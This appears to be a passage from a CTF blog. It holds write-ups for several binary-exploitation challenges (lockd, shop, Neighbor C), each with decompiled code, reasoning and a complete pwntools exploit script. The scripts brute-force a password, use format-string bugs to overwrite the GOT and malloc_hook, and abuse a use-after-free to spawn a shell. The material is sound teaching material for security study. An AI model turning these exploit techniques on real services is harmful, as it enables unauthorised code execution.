    c2 = bytes.fromhex('3775C1F1C4A75AE79CE0DE7A5B10802602ABD9B9C96C5F0212C27FDACD0DA3B08CEDFAF3E1A3FDB4EF09E7FBB1439A1DCD91C845E66EFD3DC7BB61D23EF4E03849118569EBCC179C934F40EB3302AD20A4092D7B15FA201DD1DB17CDDD29591E39899EF679469FE68B85C5EFDEC24E46C278759D8B65F450EA21C5D91862FF7B')

    # stack, heap, libc leak
    register(s, a1, 1, 0x3ff, b"A" * 0x3ff)         # index 1
    register(s, a2, 1, 0x400, b"\xff" * 0x400)      # index 2

    l = listen(7777)
    broadcast(s, 1, 0, 1, 7777)
    r = l.recv()

    heap = u32(r[0:4]) - 0x16a0
    stack = u32(r[0x324:0x328])
    libc = u32(r[0x320:0x324]) - 0x1b3da7
    log.info(f"heap : {hex(heap)}")
    log.info(f"stack : {hex(stack)}")
    log.info(f"libc : {hex(libc)}")

    # free(movie_1)
    register(s, b1, 1, 0x4, b"BBBB")                # index 3
    payload = b"C" * 0x400              # buf
    payload += p32(0x400)               # size
    payload += p32(heap + 0x11f8)       # contents, movie_1
    register(s, b2, 1, len(payload), payload)       # index 4

    broadcast(s, 3, 0, 1, 7777)

    # canary leak
    payload = b"DDDD"                   # size
    payload += b"\xff\xff\xff\xff"      # category
    payload += p32(stack + 0xa5)        # name
    payload += p32(heap + 0x16a0)       # next
    payload += b"EEE\x00"               # prev
    register(s, payload, 1, 0x4, b"XXXX")           # index 5

    r = _list(s)
    canary = u32(b"\x00" + r[0x3a:0x3d])
    log.info(f"canary : {hex(canary)}")

    # eip control
    register(s, c1, 1, 0x4, b"FFFF")                # index 6
    payload = b"G" * 0x400              # buf
    payload += p32(0)                   # size
    payload += p32(0)                   # contents
    payload += p32(canary)              # canary
    payload += b"H" * 0xc               # dummy
    payload += p32(libc + 0x5fbd5)      # return
    register(s, c2, 1, len(payload), payload)       # index 7
    
    broadcast(s, 6, 0, 1, 7777)
    
    s.interactive()

if __name__=='__main__':
    main()

SECUINSIDE CTF 2013 - lockd

2024-07-19T00:00:00+00:00

0x00. Introduction

[*] '/home/user/lockd'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

0x01. Vulnerability

Buffer Overflow

int main()
{
  ...
  printf("Input floor > ");
  __isoc99_scanf("%d", &floor_804A4C0);
  printf("Room number > ");
  __isoc99_scanf("%d", &room_804A0A0);
  if ( floor_804A4C0 <= 4 && room_804A0A0 <= 10 && !read_password_8048A7D() )
  {
    ...
  }
  return -1;
}

To use the core lock() and unlock() functionalities in main(), you must input floor_804A4C0 and room_804A0A0 values within the valid range, and the result of read_password_8048A7D() must be True.

int read_password_8048A7D()
{
  FILE *fd; // [esp+10h] [ebp-38h]
  char buf[20]; // [esp+14h] [ebp-34h] BYREF
  char password[20]; // [esp+28h] [ebp-20h] BYREF
  int canary; // [esp+3c] [ebp-c]

  *&password[20] = __readgsdword(0x14u);
  fd = fopen("password", "rb");
  fread(password, 1u, 0x10u, fd);
  fclose(fd);
  *password_804A0A4 = *password;
  *&password_804A0A4[4] = *&password[4];
  *&password_804A0A4[8] = *&password[8];
  *&password_804A0A4[12] = *&password[12];
  printf("Input master key > ");
  read(0, buf, 40u);
  return memcmp(password, buf, 16u);
}

At this point, it reads 40 bytes to a 20 bytes buffer buf, allowing us to overwrite local variable password.

FSB in `syslog`

int lock_8048877()
{
  printf("Input master key > ");
  read(0, fmt_0804A0C0, 20u);
  if ( memcmp(password_804A0A4, fmt_0804A0C0, 16u) )
    return -1;
  sprintf(fmt_0804A0C0, "./lock LOCK %d %d", floor_804A4C0, room_804A0A0);
  system(fmt_0804A0C0);
  printf("Your name > ");
  read(0, name_804A2C0, 0x190u);
  sprintf(fmt_0804A0C0, "LOCK %d-%d by %s", floor_804A4C0, room_804A0A0, name_804A2C0);
  syslog(13, fmt_0804A0C0);
  return 0;
}

Once the password leak is successful, we can use the lock() and unlock() functionalities.

Taking a closer look at syslog(),

void syslog(int priority, const char *format, ...);

The second argument format is a format string, and related information can be found in the Linux manual page.

Never pass a string with user-supplied data as a format, use the following instead: syslog(priority, "%s", string);

However, since lock() uses the format syslog(13, fmt_0804A0C0);, so FSB occurs if we insert a format string into fmt_0804A0C0.

Fortunately, we can pass a format string to fmt_0804A0C0 through name_804A2C0, so we can exploit the vulnerability.

0x02. Exploit

Info Leak

int read_password_8048A7D()
{
  FILE *fd; // [esp+10h] [ebp-38h]
  char buf[20]; // [esp+14h] [ebp-34h] BYREF
  char password[20]; // [esp+28h] [ebp-20h] BYREF
  int canary; // [esp+3c] [ebp-c]

  *&password[20] = __readgsdword(0x14u);
  fd = fopen("password", "rb");
  fread(password, 1u, 0x10u, fd);
  fclose(fd);
  *password_804A0A4 = *password;
  *&password_804A0A4[4] = *&password[4];
  *&password_804A0A4[8] = *&password[8];
  *&password_804A0A4[12] = *&password[12];
  printf("Input master key > ");
  read(0, buf, 40u);
  return memcmp(password, buf, 16u);
}

Looking at read_password_8048A7D() again, although we can manipulate the value of the local variable password by reading 40 bytes in read(), it’s meaningless because lock() and unlock() compare with the value of the global variable password_804A0A4.

However, another attack is possible: if we leave the last byte of password and overwrite the front part with the same value as buf, we can brute force byte by byte.

So I wrote the payload as follows.

def guess_key(s):
    key = []
    for i in range(16):
        for j in range(256):
            s = remote("0.0.0.0", 8107)
            floor_and_room(s, 1, 2)
            payload = b"A" * (16 - len(key) - 1)
            payload += chr(j).encode()
            payload += ''.join(key).encode()
            payload += b"B" * 4
            payload += b"A" * (16 - len(key) - 1)
            s.send(payload)
            try:
                if s.recv():
                    key.insert(0, chr(j))
                    log.success(f"HIT : {key}")
                    s.close()
                    break
            except:
                s.close()
                continue
    return key

FSB

Normally, to utilize FSB, I would construct the payload like %p %p %p %p ... to check which format string index corresponds to the part pointed to by $esp. But since syslog() only logs to /var/log/syslog, I couldn’t check the results. Eventually, I manually fuzzed when and where values were written by increasing the ? value in %?$n.

As a result, I confirmed that the n-th memory from $esp can be accessed with %(n + 2)$n.

Also, not only our input format string is output, but the format string goes into the %s part of the "LOCK %d-%d by %s" string, so 0xc bytes of additional values are written. Therefore, I wrote the payload as follows:

    # %n$ -> pointing (n + 2)th dword from esp
    value = elf.got['sprintf']
    index = 26
    lock(s, key, f"%{value - 0xc}c%{index - 2}$n".encode())

Now, looking at the stack when calling syslog() for exploitation:

gef➤  x/20wx $esp
0xffffdcc0:     0x0000000d      0x0804a0c0      0x00000001      0x00000002
0xffffdcd0:     0x0804a2c0      0x08048cb1      0xf7e760d9      0xf7fcd000
0xffffdce0:     0x00000000      0x00000000      0xffffdd18      0x0804883a
0xffffdcf0:     0x08048c9f      0xffffdd08      0x00000002      0x00000000
0xffffdd00:     0xf7fcd3c4      0xf7ffd000      0x00000001      0xf7fcd000
gef➤  x/20wx $esp + 0x50
0xffffdd10:     0x08048b90      0x00000000      0x00000000      0xf7e39af3
0xffffdd20:     0x00000001      0xffffddb4      0xffffddbc      0xf7feae6a
0xffffdd30:     0x00000001      0xffffddb4      0xffffdd54      0x0804a02c
0xffffdd40:     0x08048328      0xf7fcd000      0x00000000      0x00000000
0xffffdd50:     0x00000000      0x3cf1e46c      0x047ec07c      0x00000000
gef➤  x/20wx $esp + 0xa0
0xffffdd60:     0x00000000      0x00000000      0x00000001      0x08048670
0xffffdd70:     0x00000000      0xf7ff0660      0xf7e39a09      0xf7ffd000
0xffffdd80:     0x00000001      0x08048670      0x00000000      0x08048691
0xffffdd90:     0x08048724      0x00000001      0xffffddb4      0x08048b90
0xffffdda0:     0x08048c00      0xf7feb300      0xffffddac      0x0000001c
gef➤  x/20wx $esp + 0xf0
0xffffddb0:     0x00000001      0xffffdec4      0x00000000      0xffffded6
0xffffddc0:     0xffffdeec      0xffffdefd      0xffffdf0e      0xffffdf50
0xffffddd0:     0xffffdf56      0xffffdf66      0xffffdf73      0xffffdf89
0xffffdde0:     0xffffdfa3      0xffffdfb7      0xffffdfd1      0x00000000
0xffffddf0:     0x00000020      0xf7fda540      0x00000021      0xf7fda000
gef➤  x/20wx $esp + 0x140
0xffffde00:     0x00000033      0x000006f0      0x00000010      0x178bfbff
0xffffde10:     0x00000006      0x00001000      0x00000011      0x00000064
0xffffde20:     0x00000003      0x08048034      0x00000004      0x00000020
0xffffde30:     0x00000005      0x00000009      0x00000007      0xf7fdc000
0xffffde40:     0x00000008      0x00000000      0x00000009      0x08048670

Since all input is received in global variables, we need to exploit by making good use of the values on the stack. Initially, I didn’t realize that 4 bytes would be written at once, so:

gef➤  x/wx $esp + 0x64
0xffffdd24:     0xffffddb4
gef➤  x/wx 0xffffddb4
0xffffddb4:     0xffffdec4

Write 0x00 to 0xffffddb4

0xffffddb4: 0xffffde00

Write 2 bytes to 0xffffde00 (lower 2 bytes)

0xffffde00: 0x0000a03c

Write 0x02 to 0xffffddb4

0xffffddb4: 0xffffde02

Write 2 bytes to 0xffffde00 (upper 2 bytes)

0xffffde00: 0x0804a03c

Write 2 bytes to 0x0804a03c(sprintf got)

I tried to proceed with the exploit this way, but the situation changed when I turned on ASLR.

gef➤  x/wx $esp+0x64
0xff8ca684:     0xff8ca714
gef➤  x/wx 0xff8ca714
0xff8ca714:     0xff8caec4

When ASLR is off, 0xffffddb4 points to 0xffffdec4, allowing control of the 0xffffde?? area.

When ASLR is on, 0xff8ca714 points to 0xff8caec4, allowing control of the 0xff8cae?? area.

This creates a problem where the ? value when accessing with %?$n is not consistent, even though we’ve carefully constructed the sprintf() got address on the stack. After struggling with probability issues for a while, I discovered that 0x0804a03c is written all at once, which makes the exploit much simpler.

Write 0x0804a03c(sprintf got) to 0xffffddb4

0xffffddb4: 0x0804a03c

Write 0x080485e0(system plt) to 0x0804a03c

0x0804a03c: 0x080485e0

By the way, the idea of overwriting sprintf() with system() came from the fact that sprintf() was the only function where I could control the value in the first argument.

  read(0, fmt_0804A0C0, 20u);
  if ( memcmp(password_804A0A4, fmt_0804A0C0, 16u) )
    return -1;
  sprintf(fmt_0804A0C0, "./lock UNLOCK %d %d", floor_804A4C0, room_804A0A0);

The password must be in the first argument fmt_0804A0C0, but fortunately, while memcmp() only compares 16 bytes, the input receives 20 bytes, creating 4 bytes of free space. Therefore, if we add ;sh after the key, when the GOT overwrite succeeds, the function executes as follows:

  // sprintf(fmt_0804A0C0, "./lock UNLOCK %d %d", floor_804A4C0, room_804A0A0);
  system("c39f30e348c07297;sh");

The c39f30e348c07297 part is ignored as it’s not a legit command, and the next command sh is executed, spawning a shell.

0x03. Payload

from pwn import *
from pwnlib.util.packing import p32, p64, u32, u64
from time import sleep
import sys, os

DEBUG = True
BINARY = "lockd"
bp = {
    'read_password' : 0x08048A7D,
    'unlock' : 0x804897A,
    'lock' : 0x8048877,
    'syslog_of_lock' : 0x804896e,
}

gs = f'''
b *{bp["syslog_of_lock"]}
continue
'''
context.terminal = ['tmux', 'splitw', '-hf']

def floor_and_room(s, floor, room):
    s.recv()
    s.sendline(str(floor).encode())
    s.recv()
    s.sendline(str(room).encode())
    s.recv()

def lock(s, key, name):
    s.sendline(b"1")
    s.recv()
    s.sendline(key)
    s.recv()
    s.sendline(name)
    return s.recv()

def guess_key(s):
    key = []
    for i in range(16):
        for j in range(256):
            s = remote("0.0.0.0", 8107)
            floor_and_room(s, 1, 2)
            payload = b"A" * (16 - len(key) - 1)
            payload += chr(j).encode()
            payload += ''.join(key).encode()
            payload += b"B" * 4
            payload += b"A" * (16 - len(key) - 1)
            s.send(payload)
            try:
                if s.recv():
                    key.insert(0, chr(j))
                    log.success(f"HIT : {key}")
                    s.close()
                    break
            except:
                s.close()
                continue
    return key

def main():
    if(len(sys.argv) > 1):
        s = remote("0.0.0.0", int(sys.argv[1]))
        pid = os.popen(f"sudo docker top {BINARY} -eo pid,comm | grep {BINARY} | awk '{{print $1}}'").read()
        if DEBUG:
            gdb.attach(int(pid), gs, exe=BINARY, sysroot="./")
    else:
        s = process(BINARY)
        if DEBUG:
            gdb.attach(s, gs)
    elf = ELF(BINARY)

    floor_and_room(s, 1, 2)
    
    # [+] key : c39f30e348c07297
    # key = ''.join(guess_key(s))
    # log.success(f"key : {key}")
    key = b"c39f30e348c07297"
    s.send(key)
    s.recv()

    log.info(f"key : {key}")
    log.info(f"sprintf got : {hex(elf.got['sprintf'])}")
    log.info(f"system plt : {hex(elf.plt['system'])}")

    # %n$ -> pointing (n + 2)th dword from esp
    value = elf.got['sprintf']
    index = 26
    lock(s, key, f"%{value - 0xc}c%{index - 2}$n".encode())
    
    value = elf.plt['system']
    index = 62
    lock(s, key, f"%{value - 0xc}c%{index - 2}$n".encode())
    
    s.sendline(b"1")
    s.recv()
    s.sendline(key + b";sh")
    s.interactive()

if __name__=='__main__':
    main()

DEFCON 31 LiveCTF - shop

2024-07-16T00:00:00+00:00

0x00. Introduction

[*] '/home/user/uaf'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

Structures

struct credential {
    char is_admin;      // alignment 때문에 어차피 8바이트를 차지
    struct shelf *shelf_ptr;
    char *username;
    char *password;
    struct credential *next_cred;
}

struct shelf {
    long count;
    struct item *item_ptr;
}

struct item {
    long number;
    long price;
    char *name;
    char *description;
}

Goal

unsigned __int64 hidden_1C83()
{
  unsigned __int64 v1; // [rsp+8h] [rbp-8h]

  v1 = __readfsqword(0x28u);
  if ( LOBYTE(login_info_4108->is_admin) )
    system("/bin/sh");
  else
    puts("Not an admin");
  return v1 - __readfsqword(0x28u);
}

There’s a hidden function hidden_1C83() that gets called when selecting option 7 from the menu after login. Here, if the first byte of login_info, i.e., the value of is_admin, is not 0, it spawns a shell.

0x01. Vulnerability

unsigned __int64 add_item_1357()
{
  ...
      tmp = realloc(shelf_ptr->item_ptr, 0x20 * (shelf_ptr->count + 1));
      if ( tmp )
      {
        ++shelf_ptr->count;
        shelf_ptr->item_ptr = tmp;
        memcpy(&shelf_ptr->item_ptr[shelf_ptr->count - 1], &selected, sizeof(shelf_ptr->item_ptr[shelf_ptr->count - 1]));
      }
  ...
}

unsigned __int64 remove_item_14B6()
{
  ...
      tmp = realloc(shelf_ptr->item_ptr, 0x20 * (shelf_ptr->count - 1));
      if ( tmp )
      {
        --shelf_ptr->count;
        shelf_ptr->item_ptr = tmp;
      }
      else
      {
        puts("Error removing item");
      }
  ...
}

In add_item_1357(), when an item is added, a heap chunk is allocated to item_ptr. When deleting an item in remove_item_14B6(), it reallocates by only reducing the chunk size, and when the size becomes 0, realloc() returns NULL.

However, the value of shelf_ptr->item_ptr is not initialized and remains as is, and since the freed area can be accessed when calling add_item_1357() again after deletion, there is a UAF vulnerability.

0x02. Exploit

unsigned __int64 open_account_1932()
{
  ...
      tmp = malloc(0x28uLL);
      LOBYTE(tmp->is_admin) = 0;
  ...
}

Looking at open_account_1932(), it creates an account and immediately sets is_admin to 0.

Therefore, I structured the exploit to add and then remove an item in account A, so that account B’s credential struct points to the freed area by .

open_account A
add_item 1
remove_item 0
logout
open_account B

By writing the payload in this order, I can make A’s item_ptr and B’s credential located in the same area, and

login as A
add_item 2

I thought of a scenario where after logging in as A again and adding an item, is_admin gets overwritten during the process of copying item->number, but…

# Credential of B - BEFORE
gef➤  x/5gx 0x0000555555559330
0x555555559330: 0x0000000555555500      0x00005555555593a0
0x555555559340: 0x0000555555559360      0x0000555555559380
0x555555559350: 0x0000000000000000

# Credential of B - AFTER
gef➤  x/5gx 0x0000555555559330
0x555555559330: 0x0000000555555559      0x4ec540a62b019163
0x555555559340: 0x0000555555559360      0x0000555555559380
0x555555559350: 0x0000000000000000

The shell dropped, so when I checked if the value was properly overwritten, it was overwritten with a meta data of freed chunk instead of item->number.

Thinking carefully, there were the following issues:

In remove_item_14B6(), realloc() returns NULL, so not only is item_ptr not initialized, but the count value also doesn’t decrease
In the process of doing add_item_1357() again, since the count value is still 1, it requests realloc() for 0x40
Not only does the size not match, but since the area where B’s credential exists has never been freed again, a completely different area gets allocated

As a result, meta data gets written during the realloc process, overwriting is_admin, and fortunately the exploit succeeds. Looks like I accidentally solved it with an unintended solution… lol

0x03. Payload

from pwn import *
from pwnlib.util.packing import p32, p64, u32, u64
import sys

BINARY = "uaf"
LIBRARY = "libc.so.6"

code_base = 0x0000555555554000
bp = {
    'main' : code_base + 0x1DC7,
    'open_account' : code_base + 0x1932,
    'hidden' : code_base + 0x1C83,
}

gs = f'''
b *{bp['open_account']}
b *{bp['hidden']}
continue
'''
context.terminal = ['tmux', 'splitw', '-hf']

def menu(s, inputs: list) :
    for i in range(len(inputs)):
        r = s.recvuntil(b': ').decode()
        if i == 0:
            print(r.split('\n')[int(inputs[i]) - 1])
        s.sendline(inputs[i].encode())
    return

def main():
    if(len(sys.argv) > 1):
        s = remote("0.0.0.0", int(sys.argv[1]))
    else:
        s = process(BINARY, env={"LD_PRELOAD" : LIBRARY})
        gdb.attach(s, gs)
    elf = ELF(BINARY)
    lib = ELF(LIBRARY)

    menu(s, ['2', 'aaaa', '1111'])  # open_account of A
    menu(s, ['2', '1'])             # add_item 1
    menu(s, ['3', '0'])             # remove_item 0
    menu(s, ['5'])                  # logout
    menu(s, ['2', 'bbbb', '2222'])  # open_account of B
    menu(s, ['5'])                  # logout
    menu(s, ['3', 'aaaa', '1111'])  # login as A
    menu(s, ['2', '2'])             # add_item 2
    menu(s, ['5'])                  # logout
    menu(s, ['3', 'bbbb', '2222'])  # login as B
    menu(s, ['7'])                  # hidden
    s.interactive()

if __name__=='__main__':
    main()

Tokyo Westerns CTF 2018 - Neighbor C

2024-07-14T00:00:00+00:00

0x00. Introduction

[*] '/home/user/neighbor'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled

Environment

The provided libc is a quite old version, so it cannot be loaded with the latest loader. However, using the local libc would make the solution more difficult, so I decided to set up the environment by configuring a server with Docker.

➜  sudo docker build -t 'neighbor' .
➜  sudo docker run -d -p 9999:9999 --name neighbor neighbor
➜  sudo docker top neighbor
UID                 PID                 PPID                C                   STIME               TTY                 TIME                CMD
user                1001143             1001123             0                   Jul13               ?                   00:00:00            /bin/sh -c socat TCP-LISTEN:9999,reuseaddr,fork EXEC:"/home/user/neighbor",pty,raw,echo=0
user                1001169             1001143             0                   Jul13               ?                   00:00:00            socat TCP-LISTEN:9999,reuseaddr,fork EXEC:/home/user/neighbor,pty,raw,echo=0

When the server is configured this way, it listens on port 9999 and executes the neighbor process through EXEC:/home/user/neighbor when connected.

Therefore, connection is not possible with the existing exploit.py format, and it needs to be modified as follows for proper debugging.

def main():
    if(len(sys.argv) > 1):
        s = remote("0.0.0.0", int(sys.argv[1]))
        pid = os.popen(f"sudo docker top {BINARY} -eo pid,comm | grep {BINARY} | awk '{print $1}'").read()
        if DEBUG:
            gdb.attach(int(pid), gs, exe=BINARY, sysroot="./")
    else:
        s = process(BINARY, env={"LD_PRELOAD" : LIBRARY})
        if DEBUG:
            gdb.attach(s, gs)
    elf = ELF(BINARY)
    lib = ELF(LIBRARY)

I provided the sysroot argument so the debugger can properly read libc and load symbols, which makes it recognize the current location as the root directory and search for the libc file. Therefore, you can check the libc path through vmmap, create a directory accordingly, and copy the libc file.

➜  ls ./lib/x86_64-linux-gnu
libc-2.23.so

0x01. Vulnerability

void __fastcall __noreturn sub_8D0(FILE *stderr)
{
  while ( fgets(format, 256, stdin) )
  {
    fprintf(stderr, format);
    sleep(1u);
  }
  exit(1);
}

void __noreturn sub_937()
{
  puts("Hello neighbor!");
  puts("Please tell me about yourself. I must talk about you to our mayor.");
  sub_8D0(stderr);
}

void __fastcall __noreturn main(int a1, char **a2, char **a3)
{
  setvbuf(stdin, 0LL, 2, 0LL);
  setvbuf(stdout, 0LL, 2, 0LL);
  setvbuf(stderr, 0LL, 2, 0LL);
  sleep(0);
  sub_937();
}

Looking at the binary, FSB occurs in sub_8D0() because format can be directly input to fprintf.

As I experienced in the previous problem, when the vulnerability is simple, the exploit becomes complex, and this problem seems to be the same.

0x02. Exploit

Stack Control

Before exploiting the vulnerability, the problem is that format is a global variable, so we cannot input values onto the stack. Then we cannot create pointers on the stack, making it impossible to write values to where the pointer points using %n, which is the core of FSB. Therefore, we need to acquire a primitive that can write values to desired locations appropriately using values on the stack.

gef➤  x/10gx $rsp
0x7fffffffebb0: 0x0000555555400a88      0x00007ffff7dd2540
0x7fffffffebc0: 0x0000000000000000      0x00007ffff7dd2540
0x7fffffffebd0: 0x00007fffffffebe0      0x0000555555400962
0x7fffffffebe0: 0x00007fffffffebf0      0x00005555554009d7
0x7fffffffebf0: 0x00005555554009f0      0x00007ffff7a2d840

So I printed the stack when fprintf() is called, and there were two stack addresses created during push rbp. This is where the question of why the functions are called as main() -> sub_937() -> sub_8D0() was answered - it was to enable Double Staged FSB.

Since 0x7fffffffebd0($rsp+0x20) points to 0x7fffffffebe0($rsp+0x30), we can construct the desired address at 0x7fffffffebe0 using FSB.

Since 0x7fffffffebd0 is the 9th format string, writing the payload as follows allows us to control the value stored in 0x7fffffffebe0.

%1c%9$hhn : 0x00007fffffffebf0 -> 0x00007fffffffeb01
%258c%9$hn : 0x00007fffffffebf0 -> 0x00007fffffff0102
%16909060c%9$n : 0x00007fffffffebf0 -> 0x00007fff01020304

In the debugging environment, ASLR is turned off for convenience, so the first byte of $rsp is fixed as 0xb0, but since ASLR will be enabled in the actual server environment, the exploit success rate drops to 1/16.

Anyway, in the local environment, I could see error messages, so I could view the result of fprintf(stderr, format), but in the server environment, error messages cannot be seen. Therefore, I determined that the first thing to do through the above stack control is to change stderr to stdout to proceed to the next stage.

Libc Leak

# fprintf(stderr, format);
gef➤  x/5i 0x55555540090e
   0x55555540090e:      mov    rax,QWORD PTR [rbp-0x8]
   0x555555400912:      lea    rsi,[rip+0x200747]        # 0x555555601060
   0x555555400919:      mov    rdi,rax
   0x55555540091c:      mov    eax,0x0
   0x555555400921:      call   0x555555400778 <fprintf@plt>

The stderr in fprintf is not the stderr in the libc Data section, but the stderr on the stack passed as an argument when calling sub_8D0(). And this stderr can be accessed as $rbp-0x8, which is the address 0x7fffffffebc8($rsp+0x18).

Fortunately, the controllable 0x7fffffffebe0 already contains a stack address, so if we overwrite only the first byte with 0xc8, 0x7fffffffebe0 will point to 0x7fffffffebc8. Then, since 0x7fffffffebe0 is the 11th format string, we can change stderr to stdout.

gef➤  x/gx 0x555555601020
0x555555601020 <stdout>:        0x00007ffff7dd2620
gef➤  x/gx 0x555555601040
0x555555601040 <stderr>:        0x00007ffff7dd2540

However, since the second byte of stderr and stdout is different here, if we overwrite the first two bytes of 0x7fffffffebc8 with 0x2620, the exploit success rate becomes 1/16 again due to ASLR.

Ultimately, exploitation is possible with a 1/256 success rate.

'0x7ffff7dd3790 0x7ffff7b04360 0x7ffff7dd3780 0x7ffff7ff2700 0x555555400a88 0x7ffff7dd2540 (nil) 0x7ffff7dd2620 0x7fffffffebe0 0x555555400962 0x7fffffffebc8 0x5555554009d7 0x5555554009f0 0x7ffff7a2d840 \n'

gef➤  x/10gx $rsp
0x7fffffffebb0: 0x0000555555400a88      0x00007ffff7dd2540
0x7fffffffebc0: 0x0000000000000000      0x00007ffff7dd2620
0x7fffffffebd0: 0x00007fffffffebe0      0x0000555555400962
0x7fffffffebe0: 0x00007fffffffebc8      0x00005555554009d7
0x7fffffffebf0: 0x00005555554009f0      0x00007ffff7a2d840

Comparing the format string output using the obtained stdout with the actual stack contents shows the above.

Looking carefully, you can see that starting from the 5th format string, it matches the stack contents. The format strings in front of the stack output register values according to the calling convention:

rsi, rdx, rcx, r8, r9

However, in the above case, you can see that it starts outputting from rdx, which I think is because the second argument goes into fprintf.

Anyway, coming back, since the 10th value of the stack contains the libc address, we can obtain the libc base address by calculating and subtracting the offset.

Triggering `malloc`

Now for the most important part - where to write what - since it’s an old libc, we can use malloc_hook. Therefore, where is decided, and I checked the one-shot gadgets.

➜  one_gadget libc-2.23.so
0x4527a execve("/bin/sh", rsp+0x30, environ)
constraints:
  [rsp+0x30] == NULL || {[rsp+0x30], [rsp+0x38], [rsp+0x40], [rsp+0x48], ...} is a valid argv

0xf03a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
  [rsp+0x50] == NULL || {[rsp+0x50], [rsp+0x58], [rsp+0x60], [rsp+0x68], ...} is a valid argv

0xf1247 execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL || {[rsp+0x70], [rsp+0x78], [rsp+0x80], [rsp+0x88], ...} is a valid argv

Fortunately, the conditions aren’t too strict, so I checked and the gadget at 0xf1247 looked usable. Therefore, what was naturally resolved, but when I thought about it, malloc needs to be called somewhere for malloc_hook to be invoked…

In the while loop flow, the only functions called are fgets and fprintf.

I tried to check if malloc is called internally within the functions, and I could confirm that fgets is simple and has no malloc. On the other hand, fprintf calls vfprintf, which has too much code inside to check easily.

So I googled and found some information.

After checking, it seems that if the output string created through the format string has a size of 0x10001 or more, it can trigger malloc.

So I xref’ed backwards from functions that call malloc, functions that call j_malloc, and confirmed that vfprintf is there.

Arbitrary Write

gef➤  x/10gx $rsp
0x7fffffffebb0: 0x0000555555400a88      0x00007ffff7dd2540
0x7fffffffebc0: 0x0000000000000000      0x00007ffff7dd2620
0x7fffffffebd0: 0x00007fffffffebe0      0x0000555555400962
0x7fffffffebe0: 0x00007fffffffebc8      0x00005555554009d7
0x7fffffffebf0: 0x00005555554009f0      0x00007ffff7a2d840

Now, looking at the stack again, 0x7fffffffebc0($rsp+0x10) is empty with NULL.

First, we’ll use Double Staged FSB to create the desired address (addr) in this empty space (free_space). Then, using the created address as a pointer, we’ll use Double Staged FSB again to write the desired value (value).

Naturally, addr will be malloc_hook, and value will be the loaded one-shot gadget. This process can be created in Python as follows:

def arbitrary_write(s, addr, value):
    write_primitive(s, addr, value & 0xffff)
    write_primitive(s, addr + 2, (value & 0xffff0000) >> 16)
    write_primitive(s, addr + 4, (value & 0xffff00000000) >> 32)
    write_primitive(s, addr + 6, (value & 0xffff000000000000) >> 48)

def write_primitive(s, addr, value):
    free_space = rsp + 0x10
    stack_control(s, free_space, addr & 0xffff)
    stack_control(s, free_space + 2, (addr & 0xffff0000) >> 16)
    stack_control(s, free_space + 4, (addr & 0xffff00000000) >> 32)
    stack_control(s, free_space + 6, (addr & 0xffff000000000000) >> 48)

    payload = f"%{value}c".encode()
    payload += b"%7$hn"
    s.sendline(payload)

def stack_control(s, stack, value):
    payload = f"%{stack}c".encode()
    payload += b"%9$hhn"
    s.sendline(payload)

    payload = f"%{value}c".encode()
    payload += b"%11$hn"
    s.sendline(payload)

Actually, many unnecessary payloads are sent, so it’s not efficient, but I got greedy while working on it and made it possible to do arbitrary write in one line like this.

arbitrary_write(s, malloc_hook, one_gadget)

0x03. Payload

from pwn import *
from pwnlib.util.packing import p32, p64, u32, u64
from time import sleep
import sys, os

DEBUG = True
BINARY = "neighbor"
LIBRARY = "libc-2.23.so"

code_base = 0x0000555555400000
rsp = 0xb0
malloc_hook_offset = 0x3c4b10
one_gadget_offset = 0xf1247
bp = {
    'call_8d0' : code_base + 0x95D,
    'fgets' : code_base + 0x8FA,
    'fprintf' : code_base + 0x921,
}

gs = f'''
b *{bp['call_8d0']}
b *{bp['fprintf']}
'''
context.terminal = ['tmux', 'splitw', '-hf']

def arbitrary_write(s, addr, value):
    write_primitive(s, addr, value & 0xffff)
    write_primitive(s, addr + 2, (value & 0xffff0000) >> 16)
    write_primitive(s, addr + 4, (value & 0xffff00000000) >> 32)
    write_primitive(s, addr + 6, (value & 0xffff000000000000) >> 48)

def write_primitive(s, addr, value):
    free_space = rsp + 0x10
    stack_control(s, free_space, addr & 0xffff)
    stack_control(s, free_space + 2, (addr & 0xffff0000) >> 16)
    stack_control(s, free_space + 4, (addr & 0xffff00000000) >> 32)
    stack_control(s, free_space + 6, (addr & 0xffff000000000000) >> 48)

    payload = f"%{value}c".encode()
    payload += b"%7$hn"
    s.sendline(payload)
    s.recv(0xffff)
    sleep(1)

def stack_control(s, stack, value, stderr=False):
    if value == 0:
        return
    log.info(f"writing {hex(value)} to {hex(stack)}")
    payload = f"%{stack}c".encode()
    payload += b"%9$hhn"
    s.sendline(payload)
    if stderr == False:
        s.recv(0xffff)
    sleep(1)

    payload = f"%{value}c".encode()
    payload += b"%11$hn"
    s.sendline(payload)
    if stderr == False:
        s.recv(0xffff)
    sleep(1)

def main():
    if(len(sys.argv) > 1):
        s = remote("0.0.0.0", int(sys.argv[1]))
        pid = os.popen("sudo docker top {BINARY} -eo pid,comm | grep {BINARY} | awk '{print $1}'").read()
        if DEBUG:
            gdb.attach(int(pid), gs, exe=BINARY, sysroot="./")
    else:
        s = process(BINARY, env={"LD_PRELOAD" : LIBRARY})
        if DEBUG:
            gdb.attach(s, gs)
    elf = ELF(BINARY)
    lib = ELF(LIBRARY)

    s.recv()

    # overwrite stderr in stack to stdout
    stack_control(s, rsp + 0x18, 0x2620, stderr=True)

    # leak libc base
    payload = b"%14$p"
    s.sendline(payload)
    libc = int(s.recv(), 16) - 0x20840
    sleep(1)
    malloc_hook = libc + malloc_hook_offset
    one_gadget = libc + one_gadget_offset
    log.info(f"libc : {hex(libc)}")
    log.info(f"malloc_hook : {hex(malloc_hook)}")
    log.info(f"one_gadget : {hex(one_gadget)}")

    # write one_gadget address to malloc_hook
    arbitrary_write(s, malloc_hook, one_gadget)

    # trigger malloc -> malloc_hook
    s.sendline(f"%{0x21000}c".encode())
    s.recv(0x21000)
    sleep(1)
    s.interactive()

if __name__=='__main__':
    main()

Tokyo Westerns CTF 2018 - swap returns

2024-07-12T00:00:00+00:00

Only available in Korean for now ;)

Tokyo Westerns CTF 2018 - load

2024-07-10T00:00:00+00:00
